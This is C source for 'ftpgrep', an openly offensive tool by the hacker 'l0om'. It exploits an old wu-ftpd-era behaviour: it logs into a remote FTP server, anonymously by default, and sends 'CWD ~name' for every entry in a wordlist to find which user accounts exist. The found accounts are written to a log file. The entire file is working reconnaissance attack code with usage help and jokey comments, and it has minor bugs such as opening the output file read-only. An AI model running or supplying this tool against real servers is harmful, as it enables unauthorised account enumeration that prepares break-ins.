/* ftpgrep.c 
   l0om - l0om[at]excluded.org - www.excluded.org
 
   ftpgrep trys to grep for viald users on a remote machine
   via a old bug.
  
   CWD ~nonexisting
   550 ...
   CWD ~root
   250 ...

   tested on some wu-ftps but it also works on some other linux/unix ftp
   servers.
   
   for usage see help (-h)
   
   have phun
*/

#include <stdio.h>
#include <string.h>
#include <netinet/in.h>

#define   VIALDUSER   "250 "
#define   LOGINOK     "230 "


void help(char *usage);
void header(void);
int connect_ftp(unsigned int addr, unsigned short port, char *user, char *pass);
int check_user(int sockfd, char *username);


int main(int argc, char **argv)
{
    int i, nbytes, sock;
    char user[40]={0x00}, *uname, *pass;
    unsigned int dest;
    unsigned short port;
    FILE *userlist, *outfile;

    uname = pass = NULL; outfile = userlist = NULL;
    port = htons(21);
    dest = -1;

    header();
    if(argc == 1) help(argv[0]);
    for(i = 1; i < argc; i++) 
	if(argv[i][0] == '-')
	    switch(argv[i][1]) {
		case 'h':
		    help(argv[0]); 
		case 'P': 
		    printf("using destination port: %s\n",argv[++i]);
		    port = htons(atoi(argv[i]));
		    break;
		case 'U':
		    printf("opening username list %s... ",argv[++i]); fflush(stdout);
		    if(NULL == (userlist = fopen(argv[i], "r"))) {
			printf("faild!\n"); 
			exit(-12);
		    }
		    printf("done.\n");
		    break;
		case 'u': 
		    printf("using username %s\n",argv[++i]);
		    uname = argv[i];
		    break;
		case 'p': 
		    printf("using passoword %s\n",argv[++i]);
		    pass = argv[i];
		    break;
		case 'o':
		    printf("ouputfile: %s\n",argv[++i]);
		    if(NULL == (outfile = fopen(argv[i],"r"))) {
			printf("cannot create outputfile!\n");
			exit(-13);
		    }
		    break;
		default:
		    printf("unknown option >>%s<<\n",argv[i]);
		    printf("-h for help\n");
		    exit(-14);
	    } else { 
		printf("destination servers ip: %s\n",argv[i]);
		dest = inet_addr(argv[i]);
	    }

    if(dest == -1) {
	printf("i need a destination ip, einstein\n");
	exit(-15);
    }

    if(userlist == NULL) {
	printf("i need a userlist\n");
	exit(-20);
    }

    if(outfile == NULL) 
	if(NULL == (outfile = fopen("outputfile.log", "a"))) {
	    printf("cannot create outputfile!\n");
	    exit(-21);
	} else printf("outputfile \"outputfile.log\" created.\n");

    if(uname == NULL) {
	printf("try to log in as user ftp\n");
	uname = "ftp";
    }
    if(pass == NULL) {
	printf("try to log in with password guest@nothin.net\n");
	pass = "guest@nothin.net";
    }

    printf("\n\nconnecting to ftp service...\n"); 
    sock = connect_ftp(dest, port, uname, pass);

    printf("check for viald target... ");fflush(stdout);
    if(!check_user(sock, "root")) {
	printf("faild! ftp is no viald target\n");
	exit(-22);
    } else printf("success. ftp server is a viald target\n\n");
  
    printf("\tstart grebbing for viald users...\n");
    printf("\t---------------------------------\n");
    while( (nbytes = fscanf(userlist, "%s",user)) != EOF) {
	fseek(userlist, nbytes, SEEK_CUR);

        printf("\tcheck user %s ----> ",user);
	if(check_user(sock, user)) {
        printf("EXISTS\n");
	fprintf(outfile, "%s -> existing user:%s\n",
		inet_ntoa(dest), user);
	}
	else printf("no such user\n");

	memset(user, 0x00, sizeof(user));
    }
    printf("\t----------------------------------\n\n");
    printf("my job is finished here. party on, partner!\n\n");
    close(sock);
    return(0);
}

int connect_ftp(unsigned int addr, unsigned short port, char *user, char *pass)
{
    int sockfd;
    char buf[100]={0x00};
    struct sockaddr_in servaddr;


    if(-1 == (sockfd = socket(AF_INET, SOCK_STREAM, 0))) {
	printf("cannot create socket\n");
	exit(0);
    } 

    servaddr.sin_addr.s_addr = addr;
    servaddr.sin_port = port;
    servaddr.sin_family = AF_INET;

    if(-1 == (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)))) {
	printf("cannot connect to ftp service\n");
	exit(-18);
    } 
    read(sockfd, buf, sizeof(buf));
    printf("%s\n",buf);

    snprintf(buf, sizeof(buf), "USER %s\n",user);
    write(sockfd, buf, strlen(buf));
    read(sockfd, buf, sizeof(buf));
    memset(buf, 0x00, sizeof(buf));
    
    snprintf(buf, sizeof(buf), "PASS %s\n",pass);
    write(sockfd, buf, strlen(buf));
    read(sockfd, buf, sizeof(buf));

    if(strstr(buf, LOGINOK) == NULL) {
	printf("ftp login faild!\n");
	exit(-17);
    }
    printf("ftp session is running!\n");
    return(sockfd);  /* return connected socket */
}

int check_user(int sockfd, char *username)
{
    char buf[100] = {0x00};

    snprintf(buf, sizeof(buf), "CWD ~%s\n",username);
    write(sockfd, buf, strlen(buf));
    memset(buf,0x00,sizeof(buf));
    read(sockfd, buf, sizeof(buf));

    if(strstr(buf, VIALDUSER) != NULL) return(1);
    else return(0);
}

void help(char *usage)
{
    printf("\n\n%s -U userlist <ip-address> [options]\n",usage);
    printf("-u: next argument is the username for ftp login\n");
    printf("    default is [ftp] for anonymous login\n");
    printf("-p: next argument is the password to login\n");
    printf("    default is [guest@nothin.net]\n");
    printf("-P: next argument is the ftp port\n");
    printf("    default is 21.\n");
    printf("-U: next argument must be the userlist with usernames to check for\n");
    printf("-o: next argument must be the output file filename\n");
    printf("    default is \"outputfile.log\"\n");
    printf("-h: prints this help menue\n");
    exit(0);
}

void header(void)
{
    puts("\t\tftpgrep");
    puts("l0om - l0om[at]excluded.org - www.excluded.org\n");
}

/* %/$§!§RHU&%l0om"§$&§$%/ZRE3vhACyberSdD§$&(
   (9y0x3$$ZSUV§%&Z$&%Punk=R=CB 3rsdjf */ 

